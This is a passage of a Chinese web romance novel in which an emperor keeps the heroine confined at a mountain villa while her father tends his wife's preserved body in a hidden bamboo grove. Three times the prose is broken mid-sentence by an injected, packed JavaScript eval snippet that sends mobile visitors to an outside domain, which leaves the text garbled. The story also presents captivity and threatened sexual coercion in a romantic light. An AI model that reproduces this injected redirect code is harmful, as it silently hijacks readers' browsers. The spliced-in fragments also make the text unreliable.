“对了,娘娘,皇上说您醒了,就让您喝一碗汤,红绫这就给您端来。” 娘娘?安文夕勾了勾唇,她现在已经懒得计较这些称呼。 安文夕喝了药之后,问道:“这里都有什么人?” “回娘娘,这里有钟叔,他人特别好,还有小和子和小顺子。” “别的没了?” “没有了,平日里就我们几个,若是皇上来的话,这里的人就多一些,青大人和左大人也会来。” “他经常来么?” 红绫摇了摇头,“我在这里待了好几个月了,就昨**上来了一次。” “娘娘,你要不要洗澡,小和子和小顺子已经为您备下了洗澡水。” 安文夕点点头道:“也好。” 她下了床,才发软双腿酸痛不堪,身子疲软的厉害。 进了浴桶,她将自己整个沉入水中,任温热的水浸泡着她的每一个毛孔,洗去北宫喆残留的任何气息。 她脖子上和胸前的朵朵红梅无声的宣告了北宫喆的残暴。 安文夕洗完澡,红绫就为她准备了晚膳,这个小丫头不仅做事周到而且十分细心,而且从不多言,这大概是北宫喆为什么将她接到这里的原因吧。 安文夕用过晚膳之后,身上稍稍恢复了些力气,由于泡了澡,身子也少了些倦怠。 第106章 竹林北院 第一百零六章竹林北院 “娘娘,钟叔来了,这里一直由他在打理,总是要见一见的。”红绫捧了杯茶给她。 “好,你让他进来吧。” 走进来的男子约莫四十多岁,修容整洁,举手投足之间甚是沉稳,看起来,十分干练。 “老奴见过瑾淑妃。”管钟下跪行礼道,他知道这里的是皇上放在心尖上的宠妃,他不敢怠慢。 “起来吧,钟叔请坐。”安文夕指着一旁的木椅道,然后看了眼红绫,“上茶。” 管钟也不客气,径直落座,对安文夕道:“瑾淑妃娘娘,这茶就不用了,老奴今日来就是想告诉娘娘一声,您就安心在这里住下,若是您有什么吩咐尽管告诉老奴,老奴定会让娘娘满意。” “我知道了。”安文夕拂了拂衣袖,她没有自称本宫,瑾淑妃是北宫喆给予她的,可是她却不想承认这层身份。 “娘娘若是闷了,可以让红绫带您四下走走,东院种满了红梅,如今开得正艳。南院有荷花塘,到了夏日,荷叶连天,荷花娉婷,景色极美,湖中心有暖阁,若是娘娘觉着上房冷的话,可以移到暖阁。西院建有观景楼,可以览尽山庄全貌。” 安文夕细细听他讲完,这钟叔难不成还以为她会长居于此么,将四季的景色全部介绍了一遍。 她点了点头,算是应了。 “若是瑾淑妃没有什么事情,老奴就先下去了。” “红绫,你去送送钟叔。” 安文夕在房内踱步,打量了眼房间的布置,仔细察看,竟然和她在未央宫的装饰摆设所差无几。 此时天色已经暗了下来,冬天的夜晚总是来得早,安文夕白天睡了一天,现在精神的厉害。 “红绫,你陪我出去走走,睡了一天,想走一走。” “不知娘娘想去哪里?”红绫搀着她道。 “随便走走便好。”安文夕已经搭着她的手出了房门。 临近年关,天气苦寒,冰冷的夜色寒凉如水,尤其在这深山里,更清冷了几分。 红绫给她系上了斗篷,她的手里还抱着手炉,所以并不觉得冷。 冰凉的山风吹到了脸上,让她头脑更加清醒,她一定要离开这里,决不能成为北宫喆的笼中困兽! 安文夕顺着来时的路走着,时不时踢下脚下的鹅卵石,看起来倒真有些闲淡。 整个山庄寂静的厉害,只能听见她和红绫浅浅的脚步声和阵阵风声,安文夕支起耳朵,除却她和红绫的气息,周遭连第三只生物的呼吸声也听不到,她的眼睛有意无意的瞥向四周,也并未发现任何异常。 红绫见她越走越远,马上就要走到山庄大门,忙提醒她道:“娘娘,再往前走,就要出了山庄了,不如我们回去吧,外面风大。” “红绫,这山庄外面都有什么?”安文夕和她说着话,脚下的步子却丝毫没有停止。 红绫看着安文夕马上就要走到山庄门口,心中有些着急,但却不能不回答安文夕的话。 “回娘娘,这山庄外面没什么东西,都是些乱石山林罢了。” “哦?”安文夕还没踏出去半步,立即从暗处闪出两个黑色人影来,皆对她抱拳恭敬道:“请瑾淑妃娘娘回房!” 这是羽卫! 安文夕不动声色的打量着身前的人,离得这样近,她却丝毫感受不到二人的气息,眼前这两个人只怕和左言青玄不相上下,看来这次北宫喆为了看住她竟然不惜出动了羽卫中的精英势力。 安文夕没有逗留,直接转回了身,原路返回,身后的红绫松了口气,她还担心瑾淑妃会大打出手,然后逃出山庄呢。 安文夕瞥了她一眼道:“走吧,我不会走的,你放心便是。”安文夕感觉身后的两个人在她转身之际,也明显的松了口气。 “娘娘,奴婢……” “不用说了,我明白,若是我走了,你无法交差。” 红绫立即跪下道:“多谢娘娘体谅奴婢。” “起吧,以后在我面前跪就免了。” 回到上房,安文夕解去了斗篷,然后将红绫打发去外面守夜,然后进了内室掠上房梁,偷偷的掀开瓦片,往外看去。 借着淡淡月光,安文夕看向四周,没有发现一个人,看来这些羽卫都隐藏的很好。 她掷出手里的鹅卵石,击向不远处的树杈,发生一声闷闷的声音来,音声不大,却足以惊动隐在暗处的羽卫。 只见瓦片上方掠过几道人影,脚踩在瓦片之上,竟然没有发出任何声响。 安文夕立即跃下房梁,飞快的除下身上的衣物,钻进被窝之中。 “扣扣……”传来一阵略有些急促的敲门声。 然后不待她答应,红绫已经推开了房门,“娘娘,您睡了么?” “还没有,你有什么事情?” 冰冷淡漠的声音令红绫心中微惊,“没什么大事,奴婢觉得娘娘屋里有些冷,想为娘娘加些炭火。” 她是来检查她有没有逃跑吧! 安文夕讥讽的勾了勾唇,“这个温度正好,不用加炭了,你下去吧。” “是。”红绫轻轻地掩上了门,然后拍了拍胸脯,天知道她刚才有多紧张,到现在手心里还全是冷汗。 安文夕却再也睡不着,经过今晚的试探,若是硬碰硬的话,她根本没有逃脱成功的可能。 她在床上辗转反侧了一晚上,也没有想出什么好的计谋来,直到天快亮时,才沉沉睡去。 在她醒来时,已经是将近午时了。 她隔着厚厚的床幔唤道:“红绫。” 她喊了半天,却没人理她,就在她准备拢开床幔时,有人却一把掀开了床幔,白花花的日光刺得她睁不开眼睛。 随即一声清冷的男声传来,“你倒是能睡!” 安文夕闻言,立即一个精灵,一把拉着锦被盖住自己的身体,警惕的盯着来人。 “呵,若是朕想,你能阻止的了么?” 安文夕咬了咬牙,答案很明显,无疑是不能,不然她现在还是完璧之身。 “滚!” 北宫喆看着她浑身带刺的样子,并没有半分恼意,直接唤来红绫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355989|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她洗漱。 安文夕拧了眉,夏宫离这里距离不近,他平日里不仅要议事,还要批折子,怎么会来了这里? “过来!”在她还在愣神之际,北宫喆一把将她拉到桌前。 一阵阵诱人的香味瞬间袭击了她的蓓蕾。 “想吃就坐下!”北宫喆瞥了她一眼,他再了解她不过,她的眼神已经暴露了她。 安文夕咬了咬唇,始终没有落座的意思,北宫喆起身道:“你自个儿吃吧,朕一会再来看你。” 北宫喆一走,安文夕松了口气,也不再抵触,执起筷子吃起饭来,红绫在一旁细心的为她布菜。 北宫喆立在上房门外,抬眸看向房内,双眸幽深,然后转身离开,行至东院门口,身影一闪,沿着曲径走进北院。 北院和东南西三院相对隔绝,中间有一片竹林,将北院遮的严严实实。而且,竹林中布有阵法,在外面看来,只有一眼望不到尽头的竹林,根本不能发现里面还有一处院落。 北院的屋舍全部由竹子建设而成,竹屋和外围的竹林浑然一体,身处此处,仿佛与世隔绝一般。 房间内有一女子躺在竹床之上,那女子紧闭着双眼,看上去不过是二十七八岁,面容苍白可怕,双手交叠放在小腹处,就连手上也没有半点血色。守在她身旁的男子四十岁的年纪,头发却花白了大半,用手帕蘸了水一点点擦着她的唇瓣,然后轻轻地为她梳着她的头发。本是垂至脚踝的墨发,却黯淡的没有任何光泽。 只见那男子万分小心的捧着女子的青丝,在她耳边轻道:“阿虞,你以前最喜欢这一头墨发了,为夫给你洗洗,然后用漂亮的簪子给你挽起来,你觉得如何?” 男子低低说着话,而床上的女子却是始终没有答话,男子并不以为意,只顾自己说着话,仿佛是他一个人在自言自语,看他的样子,像是已经习惯了如此一般。 “阿虞,若是你能再睁眼看看为夫该有多好。”男子说着,眼中已然有了泪光。 他的阿虞早在十年前就已经离开他了,若不是有这琉璃珠护体,只怕早就化成了累累白骨。他本以为阿虞被那个女人毁去尸身,没想到上天竟然如此厚待,让他还可以再次见到阿虞。如今,他还能为她擦身洗头,已经是莫大的幸福了。 男子微叹一声,又喃喃道:“阿虞,为夫这就为你洗头。” 北宫喆静静地伫立在了门外,听着里面男人的喃喃自语,心中泛出点点酸楚,爱至深处,大抵就是如此吧。 他的眼前浮现了那张稚气未脱的脸,曾经的她嬉笑着对他招手,如今已是物是人非。 终究是他伤了她…… “吱呀——”男子只专注着给女子擦头发,根本没有注意房外有人已经站了许久。直到房门被人打开,他才警觉地扭过头去。 来人一袭绛紫衣袍,尊贵无比,透过他肆意而飘的墨发,彰显出别样的清冷。 凛冽的北风随着他的进来呼啸着灌了进来,男子立即拉起被子为躺着的女子盖上,殊不知那女子早就失去了知觉,这一举动,根本毫无意义。 第107章 你滚出去 第一百零七章你滚出去 北宫喆径直走进屋内,随手将门带上,然后自己找了个地方翩然落座。 男子拉着被子的手蓦地一顿,“你怎么来了?难道是夕儿她也在这里?” 北宫喆的视线落在躺着的女子脸上,看着那张绝美的倾世容颜,目光微凝。 “我在问你话呢!”男子隔断了北宫喆的视线,仿佛被人窥探了稀世宝贝一般。 北宫喆扫了眼安莫霖,淡道:“没错,夕儿是在这里,你若是不想她公之于众的话,就知道该怎么做。”修长的手指指向竹床上的莫虞。 安莫霖眸光一暗,咬牙道:“我能答应你,可是你答应我的事呢?”他尽量压抑着自己的怒火,仿佛不想吵到一旁的女子。 “朕已经答应你了,不然你以为你这辈子还能见到她?” 安莫霖握了握拳,最终忍住了自己的怒气。 当初,他答应北宫喆以江山换莫虞,北宫喆答应他不屠城、不伤人,可是后来有了曹暮烟操控夕儿一事,事情朝着众人难以控制的方向发展。 夕儿掏了江向晚的心,北宫喆提前攻入大安,将他挟持。 他的确没有**一城,伤害一人,却独独苦苦折磨夕儿,亦是将他囚在不见天日的地下密室逼问千年龙魄的下落,等到曹暮烟来了夏宫之后,他才放他出了密室,来到青末山庄和莫虞团聚。 由于北宫喆没有拿到千年龙魄,所以迟迟没有依言交出引魂丹! “那引魂丹本就是月无痕夫妇为莫虞炼制的,你怎么能用到江向晚身上?”安莫霖咬牙。 北宫喆蹙了眉,“这是夕儿欠她的!” “你——” “你放心,朕说话算数,两月之后,就将引魂丹归还,来复活她。” “但愿你不会让我失望!”安莫霖看向莫虞的那一瞬充满了柔情。 “当然不会。” 北宫喆抿了抿嘴角,过了片刻道:“最近有个人频繁活动在承安,给朕惹了不少麻烦,朕出动了羽卫都没有将他拿下,这令朕十分头痛,朕想你可能会认识。” “谁?” “凤公子,凤轻歌!”北宫喆盯着安莫霖的眼睛一字一句道。 安莫霖心中一惊,凤轻歌,不是早年夕儿在外混迹三国时用的名字么? “你可认识?” “不认识。”安莫霖淡淡道。 “是么?”北宫喆别有深意的打量着他,“可是外面皆在传他是你的私生子!” “这样的传言你也信?”安莫霖讥讽道。 “俗话说,宁可信其有,不可信其无,这暗中谋划着朕的天下的人,朕自然得多注意一些!” 北宫喆满意的勾了勾唇,他一直注意着安莫霖的神情,虽然他面上毫无波澜,但他微缩的瞳孔出卖了他。 临走时他看了眼莫虞,从怀中取出一件东西,扔给安莫霖道:“这个对她有帮助。” 安莫霖看着手中的帝王引倒吸了一口气,他竟然将此物给了他? 随着晚儿脾气越来越难以控制,帝王引对她的效果不大,他就将此物收了回来,如今看着莫虞灰败的神色,只怕经过十年光阴,那琉璃珠的精髓已经消耗殆尽。他将帝王引留下,只是希望莫虞可以坚持到千年龙魄注入到晚儿体内。 安莫霖握着手里的帝王引,半天淡吐道:“你不要再伤害夕儿了,这孩子脾气随了阿虞,倔得厉害。但凡认准的事情,谁也改变不了,反之,凡是她不喜欢的事情,谁也强迫不了!” “呵……如今是她和你向来器重的侄子在筹谋朕的江山,恨不得步步置朕于死地!” “在他们眼中,你是灭了我们大安、杀害我的凶手,他们自然恨你。” “夕儿恨我是为此,至于那安景晟为了什么想必你心里比我清楚!”北宫喆凉凉扔下了这句话,转身出了竹屋。 安莫霖闻言浑身一震,慢慢垂下了眼睑,然后踉跄着跌坐下来。 随着北宫喆的脚步,竹林中的竹子慢慢又回到了原处,原本他踩着的那条小路转瞬消失在了他的脚下。 等他再次回到上房时,安文夕早就已经用过了午膳,歇下了午觉。 北宫喆见她睡得香甜,没有作声,直接出了房门,让红绫好生照看,然后叫来管钟道:“钟叔,南院水上汀兰收拾的如何了?” “回皇上,暖阁已经按照您的吩咐布置妥当了,里面的摆设和上房内完全一致。” 北宫喆点点头,“你择日就差人将她的东西搬到汀兰阁吧,她向来有些怕冷。” “是,老奴知晓了。” 管钟忙应道,但看皇上如此小心呵护的行径,果然是将那个女子放到了心尖上。 “皇上何时回宫,老奴已经为皇上备好了马。” “待会吧,朕先带她去瞧瞧,看看是否合她心意。” 北宫喆一走,安文夕就睁开了眼睛,她压根就没有睡,只不过是不想看见北宫喆罢了。 辗转反侧了片刻,觉得闷的厉害,她刚刚想撩开床幔透透气,就看到北宫喆正立在床前,正一瞬不瞬的看着她,安文夕蓦地放下了床幔,隔断了视线。 “不装了?”北宫喆走近道。 安文夕双手攥着被角,抿着唇不说话。 北宫喆掀开床幔对她道:“赶紧起来,朕带你四下走走,消消食。” “我现在就想睡觉!” “朕给你一刻钟的时间。” 安文夕将被子往脸上一蒙,索性不去理他。 北宫喆一阵咬牙,这一点倒像极了以前,幼稚之极,却在他的心中升起了一阵暖意。 “赶紧,否则朕就上来陪你一起睡!” 安文夕蓦地拉下被子,露出愤愤的脸颊来。 他的一起睡,她自然清楚那是什么意思! “我穿衣服,你滚出去!”安文夕不客气的下了逐客令。 “速度点,别磨磨蹭蹭的,朕的耐心可是有限……” 北宫喆话还未说完,安文夕双手一拉床幔,将北宫喆的话直接屏蔽在了外面。 北宫喆脸色一僵,嘴角却慢慢勾起,踱步出了内室。 不消一盏茶功夫,安文夕已经穿戴整齐站在了北宫喆面前,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365934|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的襦袄,大红的披风,就连脚上的靴子也缀着红色**球。 北宫喆知道她现在只穿红颜色的衣物,所以在青末山庄只为她准备了大红色的衣物。眼前的女子红衣墨发,肆意张扬,仿佛踩着一朵朵彼岸花朝他走来,灼目耀眼。 北宫喆神情微微一滞,然后霸道的扣住她的手道:“走吧。” 安文夕知道自己挣扎不脱,也懒得再去费力,只得由着他牵着。 虽然他平日里冷若冰山,离他太近就会被冻得无法呼吸,可是他的手却十分温暖。 北宫喆拉着安文夕慢慢的走着,宛然一副少年夫妻午后散步的情景。 走了不久,便已经步入了南院,这是安文夕第一次来这里,目之所及是一汪望不见尽头的湖水,举目四眺,微波粼粼的水面在淡薄的阳光下泛出点点光芒,空旷的空间令她的视野豁然开朗。 湖中心有一处小岛,被花草树木围绕着,景色美不胜收。 安文夕不仅止住了脚步,问道:“你带我来这里做什么?” 北宫喆没有回答,径直拉着她走进湖边。 安文夕看见湖边上停泊的小船,顿时明白了北宫喆的意图,就在她准备自己跳上小船之时,北宫喆却紧紧的揽住了她的腰肢。 “搂紧我。”话音刚落,北宫喆已经运气轻功带着她飞跃湖面。 从岸边到湖中岛至少有五百米的距离,这对习武之人来说,用轻功掠过去并不是易事,更何况,北宫喆怀中还抱着她。 只见他足尖轻点,踩着湖面,如履平地。 北宫喆带着安文夕行至小岛之上,稳稳地落了地。 早开的山茶花开满了整个小岛,红**紫,将小岛装点的姹紫嫣红。阵阵淡雅的花香扑入鼻翼,在这清冷的冬日里增添了抹清新。 “这里。”北宫喆将她引至暖阁。 安文夕抬头看见汀兰阁三个龙飞凤舞的大字,和这婉约的建筑颇为不符。看那熟悉的字迹,安文夕了然,这是北宫喆亲笔题的字。 安文夕刚踏入暖阁,便有一种熟悉的感觉扑面而来,这里的一桌一椅,一花一草,皆是按着上房,也是未央宫的布置来摆放的。 安文夕心中蓦地涌出一抹感动,目光在所有的陈设上面流连一遍,嘴角慢慢上勾,浮现讥讽的笑来,这北宫喆为了她可真是煞费苦心! “你若是喜欢这里,明日便可让钟叔帮你搬到此处。” 湖中心的小岛,环境宜人,且无人打扰,的确是个好居处,但是这话从北宫喆嘴里说出来就变了味,安文夕觉得北宫喆不过是想进一步将她囚禁在此处罢了。 当即冷冷道:“不必了,我住不惯这里。” “你不妨看看这里再做决定。”北宫喆引着她走向内室。 “不必了,我又不是你金屋藏娇的女人,不需要住得这般隐蔽。” 北宫喆脸上淡淡的笑意慢慢消逝,握着安文夕的手不觉得加大了分力度。 “随你。”北宫喆顾自坐下,给自己倒了杯茶,瞥了眼浑身带刺的女人,浅啜一口。 然后对她冷道:“过来!” 第108章 不想领情 第一百零八章不想领情 冷不丁的被**力的拉了过去,安文夕一个踉跄,而她此时赫然坐在了北宫喆的大腿上,他的双臂圈着她的腰肢,让她无处可逃。 感觉男性特有的刚阳气息混着淡淡清凉梨香萦绕着她的鼻翼,安文夕蓦然抬头,对上北宫喆幽深的黑瞳。才发觉他的鼻息离她不过是一指的距离,她猛地后退,不料却被他一把掼进怀中,为了防止撞上他的唇,安文夕低着头,额头狠狠地砸在他的胸膛上。 安文夕略略皱眉,右手揉着额头。 “知道疼就给朕安分点!” “北宫喆,你到底想怎样?” “朕想怎样你难道不明白么,朕想让你对朕上点心,爱上朕!”北宫喆一手圈着她,另一只手勾着她的下巴,让她和他对视。 “你**这条心吧!”安文夕咬牙。 “你什么时候才能看清自己的心!” “我心里怎样想的,我自己最清楚,你以为仅仅靠着相思蛊就能锁住我了?这绝不可能,就算天下的男人死光了,我安文夕都不会爱上杀父仇人!”安文夕看着他双目如沁冰霜,歇斯底里道。 北宫喆收紧了揽在她腰间的手,低头欲含丨住那娇艳欲滴的蓓蕾,不料安文夕偏头躲避道:“你以为我还会让你得逞第二次么?” 她低头一口咬在北宫喆肩胛处,双手亦不断地挣扎起来。 北宫喆扣住她的双手,怒斥道:“你若是不想让朕在这里要了你,就不要再乱动!” 安文夕嘴里弥漫着血腥,抬手擦到嘴角的血迹,“你被千人骑万人枕,不觉得脏么,别来碰我!” 她和他相比,力量悬殊,她奈何不了他,就气死他好了! 北宫喆听明白了她话里的意思,脸色登时黑成了锅底,握着她的手力道不自觉加大了一分。 半晌,北宫喆蓦地勾唇,“你还在意这个?” 安文夕冷嗤一声,没有说话。 那鄙夷的神色令北宫喆心中一刺,半晌,他才压抑着心中的怒气对她道:“这里相对更温暖一些。” “我不需要。”可惜,她并不想领情。 北宫喆眸光一黯,“这小岛本就是朕为你而建,你既然不喜欢朕就将它移走!” “随便!” 看着安文夕决绝的神色,北宫喆腹中顿时凝结了一口气闷气,他三番五次交付真心,却次次被她狠狠践踏。 他不止是心痛,更多的是心累。 北宫喆抿了抿唇,放开了安文夕,冷着一张脸径直出了汀兰阁。 安文夕淡漠的扫了眼他的背影,随即给自己倒了杯茶,小口啜了下,没想到这茶还挺不错。 安文夕在殿下随意的看了看,然后又转身去了内室。果然,所有的一切皆是按着她的喜好来布置的。 待她出了汀兰阁看着外面一片汪丨洋的湖面时,一时有些傻了眼,来时是北宫喆用轻功将她带到此处的,那小船还停泊在对岸,且不说她的内力没有完全恢复,就是放在以前,这么远的距离,她也没有把握可以顺利的飞越过去。 这大冷的天,难不成要让她游到对面么? 安文夕来回在岸边踱着步子,黛眉轻挽,待看到汀兰阁的木门时,眼前一亮。 或许,她可以利用这个回到对面。 她还未来得及动手,一袭紫袍的北宫喆蓦然从房顶之上骤然落下,衣袂翩翩,只是他的脸色似乎比刚才更冷了几分。他幽深的眸子朝她看来,一阵彻骨的寒意立即扑面而来。 北宫喆一把提起安文夕,紧紧的夹在腋下,不容她反抗,带着她轻松地从湖面掠过。 上了岸,北宫喆将安文夕扔在岸上,然后一个人铁青着脸,一言不发出了南院。 管钟看着北宫喆脸上带着怒气,再看到他肩胛处的淡淡血迹,不由得心中微微吃惊。 “皇上,老奴为您包扎一下吧。” “不必了,备马,回宫!” 管钟不知发生了何事,只见北宫喆脸色黑的厉害,他不敢多言,低着头跟在北宫喆身后。 将北宫喆气走,安文夕心中不仅没有释然,反而有些烦闷,照着来时的路线回到了上房。 此时距离年关不过半月,安文夕身在这深山老林中,消息闭塞极了,仿佛与世隔绝一般。 由于她将北宫喆气走,接下来的十余日,北宫喆再也没有来过。 安文夕待在这青末山庄十余日来,丝毫没有什么逃跑的念头,大家不禁松了口气,但是警戒却并没有松懈下来。 她每日里用过膳,就在这山庄四处走动,东院的梅林固然美丽,但相对于枫月谷大片的梅林到底是差了些。至于南院,如今处在冬季,除了那一汪湖面和湖中心的小岛,也没有多少景致。倒是西院,安文夕去的多一些,几乎每日都要去走一走。 西苑的观景楼几乎被四周高大的树木完全遮住,人站在上面颇有些幽深的意境,安文夕喜欢这种感觉。 她立在观景楼上,透过郁郁葱葱的树木,俯瞰着整个山庄的景色,亭台楼阁,虽是冬日,景色却有几分盎然。 据她这么多日的观察,观景楼被树木环绕,且高大的乔木枝杈丛生,利于攀爬,她若是想逃,这观景楼也算是最佳场所了,只是隐在暗处的羽卫不是省油的灯,她的一举一动又皆在监视之中。 安文夕看着飞窜在几棵大树见的野雀,双眸蓦地一亮,随即淡淡的勾了勾唇。 “娘娘,我们回吧,您已经在这里待了将近两个时辰了。”红绫搓了搓冻得渐渐失去知觉的双手。 安文夕的鼻尖冻得通红,而她仿佛浑然未觉一般,依旧靠在观景楼的栏杆上,俯视着下面,眼睛看着上房后面那一片翠绿的竹林,眸光深深。 这竹林,倒是葱荣。 红绫顺着她的视线看去,小心的解释道:“那一片竹林诡异的很,奴婢从还不敢去那里,听小和子说,以前那底下是一片墓地,后来上面生出了竹子,这些竹子靠着**的气息长得越来越繁茂,总之那里阴气过重。但听钟叔说,皇上倒是挺喜欢那竹林。” 安文夕看着红绫一脸凝色,不像是作假。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365935|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她杏眸微缩,垂下了眼睑,她曾暗暗观察过,那竹林内分明布有机关,说是诡异、阴气过重不过是掩人耳目罢了。 她不是好奇心重的人,但是却很想知道北宫喆在那里藏了什么,她一直有直觉那竹林中的东西和她有关系。 可是,竹林处隐在暗中的羽卫反而不多,到底是北宫喆在故意试探,还是她想多了? 安文夕看着冻得麻木的红绫,淡道:“罢了,回吧。” 由于她喜欢在观景楼观看风景,钟叔就在观景楼二楼上安置了临时的寝殿,虽然布置不如上房齐全,但尚且可以让她在此歇歇脚。 安文夕捧着杯热茶,不紧不慢的啜着,觉得整个身子都暖了起来。 这天晚上,天空之中再次落了雪,纷纷扬扬,这场大雪足足下了一天一夜,安文夕虽然喜欢雪,但是天气冷的厉害,她也懒得动,一直在屋子里闷了两日。 转眼之间,已经到了年关。 她靠在窗前,看着渐渐暗下来的天色,她的心情也一点点灰败下去。 除夕夜,本是家人团聚的日子,安文夕一个人守着整个空旷的山庄,心中酸的厉害。 她先祭拜了逝去的父皇、母后和王叔,然后一个人早早的窝进了被窝,连晚膳也没有用,任红绫唤了半天也没有答应。 红绫只当她是困了,便没有再吵她,在她的外间守夜。 而竹林的深处,安莫霖望着上房的方向,微微叹了口气,明明是这么短的距离,而他却不能父女相见。 他的手握紧了莫虞的手,喃喃道:“阿虞,咱们的夕儿长大了,模样比你还美,可惜你不能亲眼看看她的样子。” “还有咱们那个没有出世的孩子,若是现在活着的话,也有十岁了。”安莫霖眼底涌出莫大的悲戚来,眼中泛起了泪花。 床上的女子依旧紧闭着双眼,而她身上的衣物和满头的青丝却纤尘不染。 安莫霖指尖流连在她的脸上,似悲悯,似怜爱,久久的凝视着她。 窗外传来阵阵风吹竹叶的声音,沙沙作响,安莫霖为莫虞掖了掖被角,再次瞥了眼上房的方向,叹道:“除夕夜,如此,我们也算是一家团圆了。” 安文夕抱着被子,心中涌起一阵阵烦闷,心头更是笼罩着一层悲戚,在这偌大的房间内,她突然觉得孤寂的厉害。 她索性坐了起来,靠在一旁,懒洋洋的闭着眼睛。 突然,门口传来一声“吱呀”的开门声,她以为是红绫出去了,并没有多想。 红绫被开门的动静惊到,温暖的房内突然灌入一股凌冽的寒风,她顿时一个机灵,看到推门而入的男子,刚想行礼,却被他制止。 北宫喆递给她一个退下的眼神,然后自己径直去了内室。 北宫喆掀开床幔,看见她只着单衣靠在床榻上,不禁蹙了眉头。 伸手捉住她的双手,冰凉的触感令他微锁的眉头更深了几分。 温暖的触感令安文夕一惊,蓦地睁开眼睛,透过微弱的烛光,对上那双写满了不悦的黑瞳。 第109章 你赶朕走 第一百零九章你赶朕走 安文夕心中一惊,他怎么来了? 今天是除夕夜,宫里会有国宴,必定会忙得不可开交,他怎么会有时间来这里? 北宫喆看着女子淡漠的神情,只觉得自己真是疯了,策马狂奔了两个时辰,只为了能陪她一起守夜,可她根本就不想他来。 北宫喆抬手欲解开身上的腰带,似是发现了什么,手中的动作一顿,“睡这么早,是不是没有用晚膳?” 榻上的女子没有作答,他回头对着外间吩咐道:“摆膳。” 安文夕立即将自己缩进被子里道:“我不饿,不想吃。” “那就陪朕吃!”北宫喆将她的衣物递给她,示意她起床。 “你若是想吃就自己吃!”安文夕翻了个身,只给北宫喆留了个后背。 北宫喆心中一涩,他不惜提前摆了宫宴,然后抛下满宫的人来到这里,换来的却是她的横眉冷对么…… 他握了握拳,放柔了声音道:“夕儿,吃点东西再睡也不迟。” 回答他的除了寂静还是寂静,他抿了抿唇,将床上的女子一把捞起,禁锢在怀中。 “你干什么啊?”安文夕不耐,都说了不吃,还要怎样? 她扫了眼北宫喆一脸寒冰的脸,挽了黛眉,他心里不爽,她心里也烦闷的厉害,所以不要来招惹她! “回皇上,晚膳已经摆好,现在是否用膳?”红绫福身行了一礼。 “朕知道了,你先退下吧。” “来吃点东西。”北宫喆拿起安文夕的衣物不容她拒绝的往她身上套去。 安文夕死命的抱紧了身上的被子,似乎要和北宫喆死扛到底。 北宫喆黑瞳骤缩,一把扯开她身上的被子,扔到床下,怒道:“朕有的是方法让你乖乖听话!” “既然不想用膳,那就就寝吧!”说着大手伸向安文夕身上的单衣。 安文夕侧身一避,随手捞过床榻上的衣服,敏捷的下了榻,旋身之际,已将衣服全部穿在了身上。 立在身后的北宫喆不动声色的勾了勾唇,眼底飞快的掠过一抹和冰冷的脸庞不相称的狡黠。 她径直来到外间,看着桌子上的食物,肚子里的馋虫活跃起来。 北宫喆施施然落了坐,执起银筷,为她布菜。 安文夕闷头吃饭,北宫喆依旧冷着一张脸,两个人一时无话。 看着她专心吃饭那安静的样子,北宫喆心中蓦地涌出一阵温暖,能和她一起简单的用次膳,静静地看着她,这种感觉也十分美好。 如此,便好。 安文夕感觉到院子头顶的视线,手中的动作微微一滞,胸中一闷,放下筷子,走进内室,唤来红绫伺候她洗漱。 看来今晚北宫喆时打算宿在这里了,想起初来那日,安文夕的心蓦地一沉。 果然,等她洗漱完毕,北宫喆已经坐在了床榻上,她一时有些踌躇不前。 “夕儿,过来。” 北宫喆起身将她揽住床榻上,张开了双臂道:“为朕宽衣吧。” 他的这个动作娴熟无比,仿佛做过了无数次一样,安文夕心中突然一刺。 “我又不是你的那些妃子,更何况,今天你不许睡在这里。” “这是朕的地方,你赶朕走?” 安文夕翻身上榻,用厚厚的床幔遮住自己的身子,只露出个脑袋,警惕的看着北宫喆。 北宫喆自己解了腰带,然后一一褪下身上的衣物,露出精瘦的上身,常年未见阳光的皮肤十分白皙。 他大力的一把扯开床幔,慢慢将安文夕逼近床角,勾唇道:“难道非得逼朕对你粗鲁么?” “滚开!” 安文夕刚提脚,就被北宫喆一把握住,他用力一拉将她拉至身下,迅速将她身上的衣服剥落,待看到她月白的里衣时,指尖一滞,将她整个儿捞在怀里,拉过被子盖在两个人身上。 后背处温暖的触感令安文夕身子一颤,立即弯起了身子,不料却被身侧的人抱得更紧了,他的臂弯紧紧的揽着她。 “北宫喆,你要把我囚禁到什么时候?” “一辈子。” 那轻淡的语气却霸道至极,充满了宠溺,安文夕的心似乎不受控制的骤然跳了两下。 半晌,安文夕吸了口气,“春天快要来了,我想放风筝了。” 